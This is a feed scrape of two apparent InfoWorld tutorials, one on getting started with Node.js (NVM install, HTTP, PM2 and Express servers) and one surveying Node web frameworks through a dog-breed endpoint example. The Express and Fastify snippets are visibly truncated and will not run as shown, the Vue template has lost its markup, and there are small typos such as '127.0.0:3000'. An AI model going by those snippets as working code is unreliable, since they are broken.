					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is a popular and versatile cross-platform <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">server-side JavaScript</a>. Its ease of use, massive ecosystem and performance characteristics have continued to secure its place as one of the most important technologies of the modern web.</p>



<p class="wp-block-paragraph">Anytime you need to run JavaScript on the server—be it for a systems utility, a REST API, data processing, or anything else—Node is an excellent choice. There are newer runtimes, namely <a href="https://www.infoworld.com/article/2336271/deno-vs-nodejs-which-is-better.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>, but Node remains the standard for server-side JavaScript.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2252306/10-javascript-concepts-every-nodejs-developer-must-master.html">10 JavaScript concepts you need to succeed with Node</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Node</h2>



<p class="wp-block-paragraph">If you haven’t already experienced Node, this article will introduce you. We’ll step through installing Node and the NPM package manager, spinning up a simple web server, and using the Node cluster module to take advantage of multiple CPU cores.</p>



<p class="wp-block-paragraph">We’ll also look at using the NPM package manager to install additional Node modules and other JavaScript packages. And we’ll dip a toe into using a Node framework, in this case the ubiquitous <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express server</a>, to create more feature-rich and flexible Node.js servers. Let’s get started!</p>



<h2 class="wp-block-heading">Installing Node and NPM</h2>



<p class="wp-block-paragraph">There are <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">a few ways to install Node</a>, including the installer that <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">Node itself provides</a>, but the recommended way is with a version manager. The most common version manager is <a href="https://github.com/nvm-sh/nvm">NVM</a>. This makes it easy to install Node and change versions when you need to. (There is also a Microsoft Windows-specific version called <a href="https://github.com/coreybutler/nvm-windows/releases">nvm-windows</a>.)</p>



<p class="wp-block-paragraph">NVM can be installed with an installer or using a CLI. In the following example, we use <code>curl</code>:</p>



<pre class="wp-block-code"><code>
$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash</code></pre>



<p class="wp-block-paragraph">Once you have NVM installed, installing the most recent version of Node is simple:</p>



<pre class="wp-block-code"><code>
$ nvm install latest
</code></pre>



<p class="wp-block-paragraph">The <code>install latest</code> command makes the latest version available. Mine is Node 24.9.0, so I activate it with:</p>



<pre class="wp-block-code"><code>$ nvm use 24.9.0</code></pre>



<p class="wp-block-paragraph">Anytime you need to install another version of Node, you can use <code>nvm install</code> and <code>nvm use</code> to switch between them.</p>



<p class="wp-block-paragraph">You should now see Node available at your command prompt:</p>



<pre class="wp-block-code"><code>
$ node -v

v24.9.0</code></pre>



<p class="wp-block-paragraph">When you install Node this way, the Node package manager (NPM) is also installed:</p>



<pre class="wp-block-code"><code>$ npm -v

11.6.0</code></pre>



<p class="wp-block-paragraph">Note that using NVM also avoids potential permissions issues with NPM packages when using the installer.</p>



<h2 class="wp-block-heading">A simple web server in Node</h2>



<p class="wp-block-paragraph">To start simply, we can use <a href="https://nodejs.org/api/synopsis.html">an example from the Node homepage</a>. Copy the Synopsis example code as directed there and paste it into your code editor, then save it as <code>example.js</code>:</p>



<pre class="wp-block-code"><code>
const http = require('node:http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader('Content-Type', 'text/plain');
  res.end('Hello, InfoWorld!\n');
});

server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">Open a shell in the directory where you saved the file, and run the file from your command line:</p>



<pre class="wp-block-code"><code>
$ node example.js

Server running at http://127.0.0.1:3000/</code></pre>



<p class="wp-block-paragraph">You can now go to the browser and check it out at <code>127.0.0:3000</code>, and you should see a simple greeting. Back at the terminal, press <strong>Control-C</strong> to stop the running server.</p>



<p class="wp-block-paragraph">Before we go further, let’s pull apart the code.</p>



<h3 class="wp-block-heading">Creating a simple HTTP server with Node</h3>



<p class="wp-block-paragraph">We start with the command:</p>



<pre class="wp-block-code"><code>const http = require(‘http’);</code></pre>



<p class="wp-block-paragraph">This is how you include a module in your code, in this case, the standard <a href="https://nodejs.org/api/http.html">http module</a>. (The <code>http</code> module ships with Node, so you don’t have to add it as a dependency.) This module provides the <a href="https://nodejs.org/api/http.html#http_http_createserver_requestlistener">createServer</a> and <code>listen</code> functions we’ll use later on.</p>



<p class="wp-block-paragraph">You might have noted that this example used a <a href="https://nodejs.org/api/modules.html">CommonJS</a> import. While older, this style of import is still very common in Node programs as well as some documentation. However, it’s gradually being phased out in favor of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules">ES Modules</a> (ESM), the standardized module system introduced in ECMAScript 2015. An ESM import would look like this:</p>



<pre class="wp-block-code"><code>import http from 'http';</code></pre>



<p class="wp-block-paragraph">After we import the <code>http</code> module, we define a couple of values we need (<code>hostname</code> and <code>port</code>):</p>



<pre class="wp-block-code"><code>const hostname = '127.0.0.1';

const port = 3000;</code></pre>



<p class="wp-block-paragraph">Next, we create the server:</p>



<pre class="wp-block-code"><code>const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader(‘Content-Type’, ‘text/plain’);
  res.end(‘Hello World\n’);
});</code></pre>



<p class="wp-block-paragraph">The <code>creatServer </code>command accepts a callback function, which we define using the fat arrow notation. The callback function passes two arguments, the request (<code>req</code>) and response (<code>res</code>) objects needed to handle HTTP requests. The <code>req</code> argument contains the incoming HTTP request, which in this case is ignored. The <code>res.end</code> method sets the response data to <code>‘Hello InfoWorld\n’</code> and tells the server that it is done creating the response.</p>



<p class="wp-block-paragraph">Next, we have:</p>



<pre class="wp-block-code"><code>server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">The <code>server.listen</code> function accepts three arguments. The first two are the <code>port</code> and <code>hostname</code>, and the third is a callback that is executed when the server is ready (in this case, it prints a message to the console).</p>



<p class="wp-block-paragraph">Having all the event handlers defined as callbacks is one of the most subtle and powerful parts of Node. It’s key to Node’s asynchronous non-blocking architecture.</p>



<p class="wp-block-paragraph">Node.js runs on <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">an event loop</a>, which always reverts to handling events when not otherwise engaged. It’s like a busy order-taker continually picking up orders and then updating the order-maker with their order. We receive updates via the callbacks.</p>



<h2 class="wp-block-heading">A multi-process web server with Node</h2>



<p class="wp-block-paragraph">Node’s asynchronous, non-blocking nature makes it good at handling many parallel requests, but it’s not truly concurrent by default. There are <a href="https://www.infoworld.com/article/2513020/intro-to-multithreaded-javascript.html">a few ways to make a Node application use multiple threads</a> for true concurrency. One of the simplest is to use the <a href="https://pm2.keymetrics.io/">PM2 project</a>, which lets you run the same Node application in many processes.</p>



<p class="wp-block-paragraph">By launching each application instance in its own process, the operating system can make use of multiple cores on the machine. This is not usually a concern at first, but it’s a key performance consideration to bear in mind.</p>



<p class="wp-block-paragraph">You can install PM2 globally like so:</p>



<pre class="wp-block-code"><code>$ npm install -g pm2</code></pre>



<p class="wp-block-paragraph">For our example, we want to make it obvious that the different processes are handling requests. We can achieve that goal with a small change to the server:</p>



<pre class="wp-block-code"><code>res.end(`Hello, InfoWorld! Handled by ${process.pid}`);</code></pre>



<p class="wp-block-paragraph">The <code>process.pid </code>field is a built-in environment variable, providing a unique ID for the currently running process in Node. Once PM2 is installed and the app is updated, we can run it like so:</p>



<pre class="wp-block-code"><code>$ pm2 start example.js -i max</code></pre>



<p class="wp-block-paragraph">That should launch several instances of the same program, as shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig3v2.png?w=1024" alt="Screenshot of a multi-process Node-based web server running several instances of the same program." class="wp-image-4089570" width="1024" height="575" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Then, if you open multiple windows, you can see the unique ID of each instance:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig2v2.png?w=1024" alt="Screenshot of a Node-based multi-process web server showing the unique ID of each instance." class="wp-image-4089571" width="1024" height="536" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<h2 class="wp-block-heading">An Express web server with Node</h2>



<p class="wp-block-paragraph">For our final example, we’ll look at setting up an <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express</a> web server in Node. This time we’ll use NPM to download Express and its dependencies. NPM is one of the greatest storehouses of software on the planet, with literally <a href="https://www.npmjs.com/">millions of libraries available</a>. Knowing how to use it is essential for working with Node.</p>



<p class="wp-block-paragraph">NPM works just like other package managers you may have used, letting you define and install dependencies in a structured way. To install Express, go to your project directory and type:</p>



<pre class="wp-block-code"><code>$ npm install express</code></pre>



<p class="wp-block-paragraph">Node should respond with something like: <code>added 68 packages in 5s</code>.</p>



<p class="wp-block-paragraph">You will notice several directories have been added to a <code>/node_modules</code> directory. Those are all the dependencies needed for Express. You usually don’t have to interact with <code>node_modules</code> yourself, but it’s good to know that’s where things are saved.</p>



<p class="wp-block-paragraph">Now look at the <code>package.json</code> file, which will have something like this in it:</p>



<pre class="wp-block-code"><code>{
  "dependencies": {
	"express": "^5.1.0"
  }
}</code></pre>



<p class="wp-block-paragraph">This is how dependencies are defined in NPM. It says the application needs the express dependency at version 5.1.0 (or greater).</p>



<h3 class="wp-block-heading">Setting up the Express server in Node</h3>



<p class="wp-block-paragraph">Express is one of the most-deployed pieces of software on the Internet. It can be a minimalist server framework for Node that handles all the essentials of HTTP, and it’s also expandable using “middleware” plugins.</p>



<p class="wp-block-paragraph">Since we’ve already installed Express, we can jump right into defining a server. Open the <code>example.js</code> file we used previously and replace the contents with this simple Express server:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

app.get('/', (req, res) =&gt; {
  res.send('Hello, InfoWorld!');
});

app.listen(port, () =&gt; {
  console.log(`Express server at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">This program does the same thing as our earlier <code>http</code> module version. The most important change is that we’ve added routing. Express makes it easy for us to associate a URL path, like the root path (<code>‘/’</code>), with the handler function.</p>



<p class="wp-block-paragraph">If we wanted to add another path, it could look like this:</p>



<pre class="wp-block-code"><code>app.get('/about', (req, res) =&gt; {
  res.send('This is the About page.');
});</code></pre>



<p class="wp-block-paragraph">Once we have the basic web server set up with one or more paths, we’ll probably need to create a few API endpoints that respond with JSON. Here’s an example of a route that returns a JSON object:</p>



<pre class="wp-block-code"><code>app.get('/api/user', (req, res) =&gt; {
  res.json({
	id: 1,
	name: 'John Doe',
	role: 'Admin'
  });
});</code></pre>



<p class="wp-block-paragraph">That’s a simple example, but it gives you a taste of working with Express in Node.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">In this article you’ve seen how to install Node and NPM and how to set up both simple and more advanced web servers in Node. Although we’ve only touched on the basics, these examples demonstrate many elements that are required for all Node applications, including the ability to import modules.</p>



<p class="wp-block-paragraph">Whenever you need a package to do something in Node, you will more than likely find it available on <a href="https://www.npmjs.com/">NPM</a>. Visit the official site and use the search feature to find what you need. For more information about a package, you can use the <a href="http://npms.io/">npms.io</a> tool. Keep in mind that a project’s health depends on its weekly download metric (visible on NPM for the package itself). You can also check a project’s GitHub page to see how many stars it has and how many times it’s been forked; both are good measures of success and stability. Another important metric is how recently and frequently the project is updated and maintained. That information is also visible on a project’s GitHub Insights page.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The complete guide to Node.js frameworks]]></title>
<description><![CDATA[Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.



This article is a qui...]]></description>
<link>https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.</p>



<p class="wp-block-paragraph">This article is a quick tour of the most popular web frameworks for <a href="https://www.infoworld.com/article/2257958/nodejs-tutorial-get-started-with-nodejs.html">server development on Node.js</a>. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.</p>



<h2 class="wp-block-heading">Minimalist web frameworks</h2>



<p class="wp-block-paragraph">When it comes to Node web frameworks, <em>minimalist</em> doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.</p>



<h3 class="wp-block-heading">Express.js</h3>



<p class="wp-block-paragraph">At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.</p>



<p class="wp-block-paragraph">Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) =&gt; {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id  {
  console.log(`Server running at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.</p>



<p class="wp-block-paragraph">If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of <a href="https://expressjs.com/en/resources/middleware.html">middleware plugins</a> to help with essential functions like security.</p>



<h3 class="wp-block-heading">Koa</h3>



<p class="wp-block-paragraph"><a href="https://koajs.com/">Koa</a> was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses <code>async</code>/<code>await</code> functions for middleware rather than chaining with <code>next()</code> calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.</p>



<p class="wp-block-paragraph">Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:</p>



<pre class="wp-block-code"><code>router.get('/dogs/:id', (ctx) =&gt; {
  const id = parseInt(ctx.params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">The only real difference is the combined context object.</p>



<p class="wp-block-paragraph">Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:</p>



<pre class="wp-block-code"><code>const logger = async (ctx, next) =&gt; {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);	</code></pre>



<h3 class="wp-block-heading">Fastify</h3>



<p class="wp-block-paragraph"><a href="https://fastify.dev/">Fastify</a> lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:</p>



<pre class="wp-block-code"><code>const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) =&gt; {
  const id = request.params.id;

  if (id &gt;= 0 &amp;&amp; id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});</code></pre>



<p class="wp-block-paragraph">From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.</p>



<h3 class="wp-block-heading">Hono</h3>



<p class="wp-block-paragraph"><a href="https://hono.dev/">Hono</a> emphasizes simplicity. You can define a server and endpoint with as little as:</p>



<pre class="wp-block-code"><code>const app = new Hono()
app.get('/', (c) =&gt; c.text('Hello, Infoworld!'))  </code></pre>



<p class="wp-block-paragraph">And here’s how our dog breed example looks:</p>



<pre class="wp-block-code"><code>app.get('/dogs/:id', (c) =&gt; {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});</code></pre>



<p class="wp-block-paragraph">As you can see, Hono provides a unified context object, similar to Koa.</p>



<h3 class="wp-block-heading">Nitro.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Nitro</a> is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Intro to Nitro: The server engine built for modern JavaScript</a>.</strong></p>



<p class="wp-block-paragraph">Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:</p>



<pre class="wp-block-code"><code>/api/dogs/:id</code></pre>



<p class="wp-block-paragraph">The handler might look like this:</p>



<pre class="wp-block-code"><code>export default defineEventHandler((event) =&gt; {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.</p>



<h2 class="wp-block-heading">Batteries-included frameworks</h2>



<p class="wp-block-paragraph">Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.</p>



<h3 class="wp-block-heading">Nest.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Nest</a> is a progressive framework built with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Intro to Nest.js: Server-side JavaScript development on Node</a>.</strong></p>



<p class="wp-block-paragraph">Here is an example of injecting a dog finder provider into a controller:</p>



<pre class="wp-block-code"><code>// The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}</code></pre>



<p class="wp-block-paragraph">This style is typical of dependency injection frameworks like <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Angular</a>, as well as <a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a>. It allows you to declare components as injectable, then consume them anywhere you need them.</p>



<p class="wp-block-paragraph">In Nest, we’d just add these as modules to make them live.</p>



<h3 class="wp-block-heading">Adonis.js</h3>



<p class="wp-block-paragraph">Like Nest, <a href="https://adonisjs.com/">Adonis</a> provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.</p>



<p class="wp-block-paragraph">Routes in Adonis are very simple:</p>



<pre class="wp-block-code"><code>Route.get('/dogs/:id', [DogsController, 'show'])</code></pre>



<p class="wp-block-paragraph">In this case, <code>DogsController</code> would be the handler for the route, and might look something like:</p>



<pre class="wp-block-code"><code>import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) &amp;&amp; id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}</code></pre>



<p class="wp-block-paragraph">Of course, in a real application, we could define a model layer to handle the actual data access.</p>



<h3 class="wp-block-heading">Sails</h3>



<p class="wp-block-paragraph"><a href="https://sailsjs.com/">Sails</a> is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (<a href="https://sailsjs.com/documentation/reference/waterline-orm">Waterline</a>), API generation (<a href="https://sailsjs.com/documentation/reference/blueprint-api">Blueprints</a>), and realtime support, including <a href="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html" data-type="link" data-id="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html">WebSockets</a>.</p>



<p class="wp-block-paragraph">Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:</p>



<pre class="wp-block-code"><code>/**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};</code></pre>



<p class="wp-block-paragraph">If you run this in Sails, the framework will generate default routes and wire up a <a href="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html" data-type="link" data-id="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html">NoSQL</a> or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.</p>



<h2 class="wp-block-heading">Full-stack frameworks</h2>



<p class="wp-block-paragraph">Also known as <a href="https://www.infoworld.com/article/3486850/state-of-javascript-insights-from-the-latest-javascript-community-survey.html">meta-frameworks</a>, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.</p>



<h3 class="wp-block-heading">Next.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next</a> is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.</p>



<p class="wp-block-paragraph">In Next, we could define a route at <code>pages/api/dogs/[id].js</code> like so:</p>



<pre class="wp-block-code"><code>export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}</code></pre>



<p class="wp-block-paragraph">We’d then define the UI component to interact with this route at <code>pages/dogs/[id].js</code>:</p>



<pre class="wp-block-code"><code>import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
  // Handle the case where the dog wasn't found
  if (!dog) {
    return <h1>Dog Breed Not Found</h1>;
  }

  return (
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{dog.breed}</strong></p>
    </div>
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;</code></pre>



<h3 class="wp-block-heading">Nuxt.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4025936/nuxt-4-0-improves-project-organization-data-fetching-typescript-support.html">Nuxt</a> is the same idea as Next, but applied to the <a href="http://vue.js/">Vue</a> front end. The basic pattern is the same, though. First, we’d define a back-end route:</p>



<pre class="wp-block-code"><code>// server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) =&gt; {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Then, we’d create the UI file in Vue:</p>



<pre class="wp-block-code"><code>// pages/dogs/[id].vue


  <div>
    <div>
      Loading...
    </div>
    <div>
      <h1>{{ error.data.error }}</h1>
    </div>
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{{ dog.breed }}</strong></p>
    </div>
  </div>


</code></pre>



<h3 class="wp-block-heading">SvelteKit</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337758/intro-to-sveltekit-10-the-full-stack-framework-for-svelte.html">SvelteKit</a> is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.</p>



<p class="wp-block-paragraph">In SvelteKit, a back-end route looks like so:</p>



<pre class="wp-block-code"><code>// src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

